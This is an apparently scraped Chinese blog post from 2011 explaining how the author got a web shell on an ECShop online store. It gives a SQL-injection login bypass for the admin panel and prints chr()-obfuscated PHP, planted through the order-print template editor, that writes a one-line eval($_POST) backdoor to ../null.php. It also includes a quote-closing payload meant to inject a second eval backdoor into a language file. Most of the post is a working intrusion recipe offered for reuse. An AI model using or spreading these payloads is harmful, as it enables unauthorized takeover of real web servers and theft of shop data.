linux系统ecshop拿shell方法

Title:linux系统ecshop拿shell方法  --2011-06-08 13:23php

最近弄一个站,对ECSHOP拿shell不了解,致使走了不少的弯路。linux

nginx/0.8.54的服务器,magic_quotes_gpc开启转义,不少的页面被删除了。nginx

后台有or漏洞,用户"' or 1=1 #"密码随便填.shell

开始我也不知道,了解得少。服务器

网站的myship.php访问无果,可是库项目管理模版能够编辑,找不到文件路径未果,由于用的是nginx/0.8.54,解析漏洞被修补。post

不少拿shell的方法不能用,好比备份x.php.spl,FCK建立X.asp类文件夹。网站

开始在后台转了好久,一直没有点Flash 播放器管理 上次PHP试试,后面没有想到能够上传PHP的文件,没有限制。3d

 

后面再上网找了下其余的方法。blog

后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表,随意选择一个订单打印,返回OK,生成一句话成功!
如下是编辑的代码:ip

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

<?
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

../null.php

<?php eval($_post[usb]);?>

这个是路径和密码。

我还有个想法就是'单引号没有被转义的时候,管理中心- 语言项编辑 编辑其中的PHP页面,闭合单引号.

shopping_flow.php 编辑

输入语言项关键字:  活动列表

活动列表';?><?php @eval($_POST[ok]);?><?'ok

保存

而后访问

http://site/languages/zh_cn/shopping_flow.php

由于试的时候'被转义不能闭合活动列表后面的单引号,因此没成功。

谁有其余方法,能够一块儿讨论下。

相关文章
相关标签/搜索